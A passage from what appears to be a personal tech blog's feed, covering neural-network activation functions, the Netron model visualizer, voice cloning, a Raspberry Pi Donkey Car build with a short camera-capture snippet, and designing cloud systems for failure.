&lt;p&gt;ReLU&amp;rsquo;s are quite popular for a couple of reasons – one, from a computational perspective, these are more efficient and simpler to execute - there isn’t any exponential operations to perform. And two, these don’t suffer from the vanishing gradient problem.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/495px-Rectifier_and_softplus_functions.svg.png&#34; alt=&#34;ReLU&#34;/&gt;
        &lt;figcaption&gt;ReLU&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;The one limitation ReLU&amp;rsquo;s have, is that their output isn’t in the probability space (i.e. can be &amp;gt;1), and &lt;strong&gt;can&amp;rsquo;t&lt;/strong&gt; be used in the output layer.&lt;/p&gt;
&lt;p&gt;As a result, when we use ReLU&amp;rsquo;s, we have to use a softmax function in the output layer.  The output of a softmax function sums up to 1, and we can map the output as a probability distribution.&lt;/p&gt;
&lt;p&gt;$$\sum_j a^L_j = \frac{\sum_j e^{z^L_j}}{\sum_k e^{z^L_k}} = 1.$$&lt;/p&gt;
&lt;p&gt; Another issue that can affect ReLU’s is something called a dead neuron problem (also called a dying ReLU). This can happen when in the training dataset, some features have a negative value. When the ReLU is applied, those negative values become zero (as per the definition). If this happens at a large enough scale, the gradient will always be zero – and that node is never adjusted again (it is biased. and, weights never get changed) - essentially making it dead! The solution? Use a variation of the ReLU called a Leaky ReLU.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4. Leaky ReLU&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;A Leaky ReLU will usually allow a small slope $\alpha$ on the negative side; i.e that the value isn’t changed to zero, but rather something like 0.01. You can probably see the ‘leak’ in the image below. This ‘leak’ helps increase the range and we never get into the dying ReLU issue.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/image_thumb-7.png&#34; alt=&#34;ReLU vs. Leaky ReLU&#34;/&gt;
        &lt;figcaption&gt;image&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;5. Exponential Linear Unit (ELU)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Sometimes a ReLU isn’t fast enough – over time, a ReLU&amp;rsquo;s mean output isn&amp;rsquo;t zero and this positive mean can add a bias for the next layer in the neural network; all this bias adds up and can slow the learning.&lt;/p&gt;
&lt;p&gt;Exponential Linear Unit (ELU) can address this, by using an exponential function, which ensures that the mean activation is closer to zero. What this means, is that for a positive value, an ELU acts more like a ReLU and for the negative value it is bounded to -1 for $\alpha = 1$ – which puts the mean activation closer to zero.&lt;/p&gt;
&lt;p&gt;$$\sigma(x) = \begin{cases} x &amp;amp; x \geqslant 0\\ \alpha (e^x - 1) &amp;amp; x &amp;lt; 0\end{cases}$$&lt;/p&gt;
&lt;p&gt; 
When learning, this derivation of the slope is what is fed back (backprop) – so for this to be efficient, both the function and its derivative need to have a lower computation cost.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;https://i0.wp.com/sefiks.com/wp-content/uploads/2018/01/elu-and-relu.png?resize=654%2C422&amp;amp;ssl=1&#34; alt=&#34;elu-and-relu&#34;/&gt;
        &lt;figcaption&gt;ELU vs ReLU&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;And finally, there is another variation that combines with ReLU and a Leaky ReLU called a Maxout function.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;So, how do I pick one?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Choosing the ‘right’ activation function would of course depend on the data and problem at hand. My suggestion is to default to a ReLU as a starting step and remember ReLU’s are applied to hidden layers only. Use a simple dataset and see how that performs. If you see dead neurons than use a leaky ReLU or Maxout instead. It won’t make sense to use Sigmoid or Tanh these days for deep learning models but are useful for classifiers.&lt;/p&gt;
&lt;p&gt;In summary, activation functions are a key aspect that fundamentally influences a neural network&amp;rsquo;s behavior and output. Having an appreciation and understanding of some of the functions is key to any successful ML implementation.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Netron - deep learning and machine learning model visualizer</title>
      <link>/post/2018/06/netron-deep-learning-and-machine-learning-model-visualizer/</link>
      <pubDate>Mon, 11 Jun 2018 00:00:00 +0000</pubDate>
      
      <guid>/post/2018/06/netron-deep-learning-and-machine-learning-model-visualizer/</guid>
      <description>&lt;p&gt;I was looking at something else and happen to stumble across something called &lt;a
	
		href = &#34;https://github.com/lutzroeder/Netron&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Netron
	&lt;/span&gt;
&lt;/a&gt;, which is a model visualizer for #ML and #DeepLearning models. It is certainly much nicer than for anything else I have seen. The main thing that stood out for me, was that it supports &lt;a
	
		href = &#34;https://onnx.ai/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		ONNX
	&lt;/span&gt;
&lt;/a&gt; , and a whole bunch of other formats (Keras, CoreML), TensorFlow (including Lite and JS), Caffe, Caffe2, and MXNet. How awesome is that?&lt;/p&gt;
&lt;p&gt;This is essentially a cross platform &lt;a
	
		href = &#34;https://en.wikipedia.org/wiki/Progressive_Web_Apps&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		PWA
	&lt;/span&gt;
&lt;/a&gt; (progressive web app), essentially using &lt;a
	
		href = &#34;https://electronjs.org/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Electron
	&lt;/span&gt;
&lt;/a&gt; (JavaScript, HTML5, CSS) – which means it can run on most platforms and run-times from just a browser, Linux, Windows, etc. To debug it, best to use &lt;a
	
		href = &#34;https://code.visualstudio.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Visual Studio Code
	&lt;/span&gt;
&lt;/a&gt;, along with the &lt;a
	
		href = &#34;https://marketplace.visualstudio.com/items?itemName=msjsdiag.debugger-for-chrome&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Chrome debugger extension
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Below is a couple of examples, of visualizing a ResNet-50 model – you can see both the start and the end of the visualization shown in the two images below to get a feel of things.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/image_thumb-1.png&#34; alt=&#34;image&#34;/&gt;
        &lt;figcaption&gt;Start of ResNet-50 Model&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/image_thumb-2.png&#34; alt=&#34;image&#34;/&gt;
        &lt;figcaption&gt;End of ResNet-5o model&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;And some of the complex model seem very interesting. Here is an example of a &lt;a
	
		href = &#34;https://github.com/Hvass-Labs/TensorFlow-Tutorials/blob/master/07_Inception_Model.ipynb&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		TensorFlow Inception (v3)
	&lt;/span&gt;
&lt;/a&gt; model.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/image_thumb-3.png&#34; alt=&#34;image&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;And of course, this can get very complex (below is the same model, just zoomed out more).&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/image_thumb-4.png&#34; alt=&#34;image&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;I do think it is a brilliant, tool to help understand the flow of things, and what can one do to optimize, or fix. Also very helpful for folks who are just starting to learn and appreciate the nuances.&lt;/p&gt;
&lt;p&gt;The code is released under an MIT license and you can &lt;a
	
		href = &#34;https://github.com/lutzroeder/Netron/tree/master/src&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		download it here
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Analog islands</title>
      <link>/post/2018/06/analog-islands/</link>
      <pubDate>Tue, 05 Jun 2018 00:00:00 +0000</pubDate>
      
      <guid>/post/2018/06/analog-islands/</guid>
      <description>&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/image-1.png&#34; alt=&#34;Analog islands (geeky jokes)&#34;/&gt;
        &lt;figcaption&gt;Analog Islands&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Machine learning use-cases</title>
      <link>/post/2018/06/machine-learning-use-cases/</link>
      <pubDate>Tue, 05 Jun 2018 00:00:00 +0000</pubDate>
      
      <guid>/post/2018/06/machine-learning-use-cases/</guid>
      <description>&lt;p&gt;Someone recently asked me, what are some of the use cases / examples of machine learning. Whilst, this might seem as an obvious aspect to some of us, it isn’t the case for many businesses and enterprises – despite that they uses elements of #ML (and #AI) in their daily life – as a consumer.&lt;/p&gt;
&lt;p&gt;Whilst, the discussion gets more interesting based on the specific domain and the possibly use cases (of course understanding that some might not be sure f the use case – hence the question in the first place). But, this did get me thinking and wanted to share one of the images we use internally as part of our training that outcomes some of the use cases.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/image_thumb.png&#34; alt=&#34;Machine Learning Use Cases&#34;/&gt;
        &lt;figcaption&gt;Machine Learning Use Cases&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;These are not 1:1 and many of them can be combined together to address various use cases – for example a &lt;strong&gt;#IoT&lt;/strong&gt; device sending in a sensor data, that triggers a boundary condition (via a &lt;strong&gt;#RulesEngine&lt;/strong&gt;), that in addition to executing one or more business rule, can trigger a alert to a human-in-the-loop (#AugmentingWorkforce) via a &lt;strong&gt;#DigitalAssistant&lt;/strong&gt; (say #Cortana) to make her/him aware, or confirm some corrective action and the likes. The possibilities are endless – but each of these elements triggered by AI/ML and still narrow cases and need to be thought of in the holistic picture.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Synthetic Sound</title>
      <link>/post/2018/06/synthetic-sound/</link>
      <pubDate>Sun, 03 Jun 2018 00:00:00 +0000</pubDate>
      
      <guid>/post/2018/06/synthetic-sound/</guid>
      <description>&lt;p&gt;Trained a model to create a synthetic sound that sounds like me. This is after training it with about 30 sentences - which isn&amp;rsquo;t a lot.&lt;/p&gt;
&lt;p&gt;To create a synthetic voice, you enter some text, using which is then &amp;ldquo;transcribed&amp;rdquo; using #AI and your synthetic voice is generated. In my case, at first, I had said AI, which was generated also as &amp;ldquo;aeey&amp;rdquo; (you can listen &lt;a
	
		href = &#34;https://lyrebird.ai/g/TNnYK6St&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		here
	&lt;/span&gt;
&lt;/a&gt;). So for the next one, changed the AI to Artificial Intelligence.&lt;/p&gt;


&lt;div&gt;
  &lt;figure&gt;
    &lt;audio
      controls
      src=&#34;images/db28dba42a7abffbdfb72e4f7df88cc530773dde.mp3&#34;
      title=&#34;&#34;
      style=&#34;width: 50%&#34;&gt;
      Your browser does not support the &lt;code&gt;audio&lt;/code&gt; element.
    &lt;/audio&gt;
    
  &lt;/figure&gt;
&lt;/div&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/synthetic-sound-e1528000490931-1024x443.png&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;One does need to be mindful of #DigitalEthics, as this technology improves further. This is with only a very small sampling of data. Imagine what could happen, with public figures - where their recordings are available quite easily in the public domain. I am thinking the &amp;lsquo;digital twang&amp;rsquo; is one of the signatures and ways to stamp this as a generated sound.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>My self-driving car</title>
      <link>/post/2018/05/my-self-driving-car/</link>
      <pubDate>Thu, 31 May 2018 00:00:00 +0000</pubDate>
      
      <guid>/post/2018/05/my-self-driving-car/</guid>
      <description>&lt;p&gt;Over the last few weeks, I built a self-driving car - which essentially is a remote control Rx car that uses a raspberry pi running Python, TensorFlow implementing a end-to-end convolution neural network (CNN)&lt;/p&gt;
&lt;p&gt;Of course other than being  a bit geeky, I do think this is very cool to help understand and get into some of the basic constructs and mechanics around a number of things - web page design, hardware (maker things), and Artificial Intelligence principles.&lt;/p&gt;
&lt;p&gt;There are two different models here - they do use the same ASC and controller that can be programmed. My 3D printer, did mess up a little (my supports were a little off) and which is why you see the top not clean.&lt;/p&gt;
&lt;p&gt;The sensor and camera are quite basic, and there is provisions to add and do better over time. The Pi isn&amp;rsquo;t powerful enough to train the model - you need another machine for that (preferably a I7 core with a GPU). Once trained you can run the model on the Pi for inference.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/car1-225x300.jpg&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;
&lt;p&gt;

    &lt;img src=&#34;images/car2-225x300.jpg&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;This is the second car, which is a little different hardware, but the ESC to control the motor and actuators are the same.
&lt;p&gt;

    &lt;img src=&#34;images/car3-300x225.jpg&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;
&lt;p&gt;

    &lt;img src=&#34;images/car4-300x225.jpg&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;The code is simple enough; below is an example of the camera (attached) to the Pi, saving the images it is seeing. Tubs is the location where the images are saved; these can then be transferred to another machine for training or inference.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt; 1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt; 2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt; 3&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;4&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#4&#34;&gt; 4&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;5&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#5&#34;&gt; 5&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;6&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#6&#34;&gt; 6&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;7&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#7&#34;&gt; 7&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;8&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#8&#34;&gt; 8&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;9&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#9&#34;&gt; 9&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;10&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#10&#34;&gt;10&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;11&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#11&#34;&gt;11&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;12&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#12&#34;&gt;12&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;13&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#13&#34;&gt;13&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;donkey&lt;/span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;as&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;dk&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#initialize the vehicle&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;V &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; dk&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;Vehicle()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#add a camera part&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cam &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; dk&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;parts&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;PiCamera() V&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;add(cam, outputs&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;\[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;image&amp;#39;&lt;/span&gt;\], threaded&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;True&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#add tub part to record images&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;tub &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; dk&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;parts&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;Tub(path&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;~/d2/gettings\_started&amp;#39;&lt;/span&gt;, inputs&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;\[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;image&amp;#39;&lt;/span&gt;\], types&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;\[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;image\_array&amp;#39;&lt;/span&gt;\]) V&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;add(tub, inputs&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;inputs)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#start the vehicle&amp;#39;s drive loop&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;V&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;start(&lt;span style=&#34;color:#91d7e3&#34;&gt;max&lt;/span&gt;\_loop\_count&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;100&lt;/span&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Below you can see the car driving itself around the track, where it had to be trained first. The reason it is not driving perfectly is because during training (when I was manually driving it around), I crashed a few times and as a result the training data was messed up. Needed more time to clean that up and retrain it.&lt;/p&gt;
&lt;video class=&#34;video-shortcode&#34; preload=&#34;auto&#34; controls&gt;
    &lt;source src=&#34;https://desigeek.com/blog_files/2018/05-my-self-driving-car/IMG_3514.mov&#34; type=&#34;video/mp4&#34;&gt;
    There should have been a video here but your browser does not seem
    to support it.
&lt;/video&gt;

&lt;p&gt;This is based on &lt;a
	
		href = &#34;http://www.donkeycar.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		donkey car
	&lt;/span&gt;
&lt;/a&gt; - which is an open source DIY for platform for small-scale self driving cars. I think it is also perfect to get into with those who have teenagers and a little older kids to get in and experiment. You can read up more details on how to go about building this, and the &lt;a
	
		href = &#34;http://docs.donkeycar.com/guide/build_hardware/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		parts needed here
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Cloud and failure</title>
      <link>/post/2018/05/cloud-and-failure/</link>
      <pubDate>Wed, 30 May 2018 00:00:00 +0000</pubDate>
      
      <guid>/post/2018/05/cloud-and-failure/</guid>
      <description>&lt;p&gt;Despite all the cloud talk and where I live, it is like the cloud mecca, for enterprises it is still quite new and many are just starting to think about it. A hard lesson that many of us learn (and partly how we amass our scars) is to design for failures. For those, who run things in their enterprises data center, are quite spoilt I think. Failures are rare, and if machines or state goes down, moving to another one isn’t really a big deal (of course it is a little more complex, and not to say, there isn’t any down time, or business loss, etc.).&lt;/p&gt;
&lt;p&gt;When thinking about a cloud migration (hybrid or otherwise) – a key rule is that you are guaranteed to have failures – at many aspects, and those cannot be exceptional conditions, but rather the normal design and expected behavior. As a result, you app/services/API/whatever needs to be designed for failure. And not only how your loosely couple your architecture to be able to handle these situations, but also, how the response isn’t a binary (yay, or a &lt;a
	
		href = &#34;https://creativemarket.com/blog/the-best-404-pages-on-the-internet&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		fancy 404
	&lt;/span&gt;
&lt;/a&gt;); but rather a degraded experience, where your app/service/API/whatever still performs albeit in a deprecated mode.&lt;/p&gt;
&lt;p&gt;Things that can throw one off, and is food for thought (not exhaustive, or on any particular order):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Managing state (when failures is guaranteed)&lt;/li&gt;
&lt;li&gt;Latency – cloud is fast, but slower than your internal data center; you know – physics. :) How are your REST API’s handling latency, and are they degrading performance?&lt;/li&gt;
&lt;li&gt;“Chatiness” – how talkative, are your things on the wire? And how big is the payload?&lt;/li&gt;
&lt;li&gt;Rollback, or fall forward?&lt;/li&gt;
&lt;li&gt;Lossy transfers (if data structure sizes are large)&lt;/li&gt;
&lt;li&gt;DevOps – mashing up of Developers, and Operations (what some call SRE) – you own the stuff you build, and, responsible for it.&lt;/li&gt;
&lt;li&gt;AutoScale – most think this is to scale up, but it also means to scale down when resources are not needed.&lt;/li&gt;
&lt;li&gt;Physical deployments – Regional deployment vs. global ones – there isn’t a right or wrong answer, it frankly depends on the service and what you are trying to do. Personally, I would lean towards regional first.&lt;/li&gt;
&lt;li&gt;Production deployment strategies – various ways to skin a cat and no one is right or wrong per se (except, please don’t do a basic deployment) – that is suicide. I am use to A/B testing, but also what is now called Blue/Green deployment. Read up &lt;a
	
		href = &#34;https://harness.io/2018/02/deployment-strategies-continuous-delivery/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		more here
	&lt;/span&gt;
&lt;/a&gt;. And of course use some kind of a deployment window (that works for your business) – this allows you and your team to watch what is going on, and take corrective actions if required.&lt;/li&gt;
&lt;li&gt;Automate everything you can; yes its not free, but you recoup that investment pretty quick; and will still have hair on the scalp!&lt;/li&gt;
&lt;li&gt;Instrument – if you can’t measure it, you can’t fix it.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Again, not an exhaustive list, but rather meant to get one thinking. There are also some inherent assumptions – e.g. automation and production deployment suggests, there is some automated testing in place; and a CI/CD strategy and supporting tools.&lt;/p&gt;
&lt;p&gt;Bottom line – when it comes to cloud (or any other distributed architecture), the best way to avoid failure is to fail constantly!&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>From managers to leaders</title>
      <link>/post/2018/05/from-managers-to-leaders/</link>
      <pubDate>Tue, 29 May 2018 00:00:00 +0000</pubDate>
      
      <guid>/post/2018/05/from-managers-to-leaders/</guid>
      <description>&lt;p&gt;Recently, a few of us went through a workshop where one of the ‘homework’ was to score oneself, on the following 7 aspects – some of these are attributes that allows one to grow from being (hopefully) good managers to great leaders.&lt;/p&gt;
&lt;p&gt;In most enterprises, as one grows in their career, managers need to acquire new capabilities – and quickly. What they have, in terms of skills and capabilities and got her or him to this place, won’t be enough for the next step – as the scope and complexity increases it can leave executives underwhelmed. At the core, new executives need support on these seven dimensions that will help them make this transition.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Specialist to generalist&lt;/strong&gt; – Understand the mental models, tools, and terms used in key business functions and develop templates for evaluating the leaders of those functions.&lt;/li&gt;
